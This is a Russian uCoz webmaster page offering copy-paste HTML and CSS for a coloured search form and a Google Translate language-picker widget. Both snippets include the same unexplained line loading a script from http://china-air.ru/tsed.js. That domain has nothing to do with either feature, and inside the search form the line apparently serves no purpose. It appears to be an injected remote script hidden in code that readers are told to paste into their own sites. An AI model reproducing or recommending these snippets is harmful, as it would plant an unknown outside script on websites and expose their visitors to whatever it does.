Мини-чат
Статистика

OnLine
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Юзеры онлайн:
Нас посетили:

Счетчик материалов
Комментарии: 39
Форум: 118/121
Фото: 40
Дневник: 9
Новости: 142
Файлы: 152
Статей: 43
Гостевая книга: 2
Мы рекомендуем
Последние комментарии
написал: setevikok2013
написал: fgh
написал: dfhgisg
написал: dwasdwasdwawsdawwaswdwasdwa
написал: Ваще круто!!
Форма входа
Мониторинг

Формы поиска для uCoz

  • startsmart
  • 28.12.2012
  • 0
  • 428

Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

Код
$SEARCH_FORM$


Везде ставим:

Код
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
  <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <input class="poick_knopka" type="submit" value="Найти" />  
  <input type="hidden" name="t" value="0" />  
  </form>


И теперь остается прописать стили!
Фиолетовая форма:

Код
/* Форма поиска фиолетовая кнопка  
------------------------------------------*/  
.poick_os {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka {  
  text-shadow: 1px 1px 1px #751a9b;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#ce36fa;  
  border:1px solid #a622e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka:hover {background:#b73cea;}  

.poick_os,  
.poick_knopka {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Синяя форма:

Код
/* Форма поиска синяя кнопка  
------------------------------------------*/  
.poick_os1 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os1 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole1 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka1 {  
  text-shadow: 1px 1px 1px #1061B0;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#36A6FA;  
  border:1px solid #2290e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka1:hover {background:#3c9fea;}  

.poick_os1,  
.poick_knopka1 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Красная форма:

Код
/* Форма поиска красная кнопка  
------------------------------------------*/  
.poick_os2 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os2 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole2 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka2 {  
  text-shadow: 1px 1px 1px #b01010;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#fa3636;  
  border:1px solid #e32222;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka2:hover {background:#ea3c3c;}  

.poick_os2,  
.poick_knopka2 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Зеленая форма:

Код
/* Форма поиска зелёная кнопка  
------------------------------------------*/  
.poick_os3 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os3 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole3 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka3 {  
  text-shadow: 1px 1px 1px #368620;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#6ae14a;  
  border:1px solid #57c939;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka3:hover {background:#65d447;}  

.poick_os3,  
.poick_knopka3 {  
  -webkit-border-radius: 3px;  
  -moz-border-rad ... Читать дальше »

Перевод на другие языки для uCoz

  • startsmart
  • 28.12.2012
  • 0
  • 406

Преимущество: очень мало занимает места на сайте,подойдет под любой дизайн..
Перевод сайта uCoz на другие языки мира доступны 22 языка увеличьте посещаемость своего сайта иностранными гражданами smile
Вставляем по месту:

Код
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/romestyle.css">  
<script type="text/javascript" src="http://bambun.ru/css_js/rome.js"></script>  
<div class="chromestyle" id="chromemenu">  
<ul>  
<li><a href="bambun.ru" rel="dropmenu2" onclick="window.open('http://bambun.ru', '_blank', 'width=600,height=500,top=100,left=100,resizable=1,scrollbars=yes');return(false);" target="_blank"></a></li>  
</ul>  
</div>  
<div id="dropmenu1" class="dropmenudiv">  
</div>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<div id="dropmenu2" class="dropmenudiv" style="width: 300px;">  
<form action="http://www.google.com/translate">  
<script language="JavaScript">  
document.write ("<input name=u value="+location.href+" type=hidden>")  
</script>  
<input value="ru" name="hl" type="hidden">  
<input value="UTF8" name="ie" type="hidden">  
<input value="" name="langpair" type="hidden"><div align="center"><span style="font-size: 8pt;"><b>Выбрать язык / Select language:</b></span></div>  
<table style="border-collapse: collapse; width: 100%;"><tbody><tr><td>  
<input onclick="this.form.langpair.value=this.value" title="Ukranian" value="ru|uk" src="http://bambun.ru/images/Ukraine.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Ukranian</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="English" value="ru|en" src="http://bambun.ru/images/Britain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">English</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="French" value="ru|fr" src="http://bambun.ru/images/France.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">French</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="German" value="ru|de" src="http://bambun.ru/images/Germany.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">German</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Japanese" value="ru|ja" src="http://bambun.ru/images/japan.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Japanese</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Italian" value="ru|it" src="http://bambun.ru/images/Italy.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Italian</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Portuguese" value="ru|pt" src="http://bambun.ru/images/Portugal.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Portuguese</span>  
</td><td>  
<input onclick="this.form.langpair.value=this.value" title="Spanish" value="ru|es" src="http://bambun.ru/images/Spain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Spanish</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Danish" value="ru|da" src="http://bambun.ru/images/Denmark.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Danish</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Chinese" value="ru|zh-CN" src="http://bambun.ru/images/China.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Chinese</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Korean" value="ru|ko" src="http://bambun.ru/images/Korea.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Korean</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Arabic" value="ru|ar" src="http://bambun.ru/images/Arab.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Arabic</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Czech" value="ru|cs" src="http://bambun.ru/images/Czech.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Czech</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Estonian" value="ru|et" src="http://bambun.ru/images/Estonia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Estonian</span>  
</td><td>  
<input onclick="this.form.langpair.value=this.value" title="Belarusian" value="ru|be" src="http://bambun.ru/images/Belarus.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Belarusian</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Latvian" value="ru|lv" src="http://bambun.ru/images/Latvia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Latvian</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Greek" value="ru|el" src="http://bambun.ru/images/Greece.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Greek</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Finnish" value="ru|fi" src="http://bambun.ru/images/Finland.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Finnish</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Serbian" value="ru|sr" src="http://bambun.ru/images/Serbia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Serbian</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Bulgarian" value="ru|bg" src="http://bambun.ru/images/Bulgaria.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Bulgarian</span><BR>  
<input onclick="this.form.langpair.value=this.value" title="Turkish" value="ru|tr" src="http://bambun.ru/images/Turkey.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Turkish</span>  
</form></td></tr></tbody></table>  
</div>  
<script type="text/javascript">  
cssdropdown.startchrome("chromemenu")  
</script>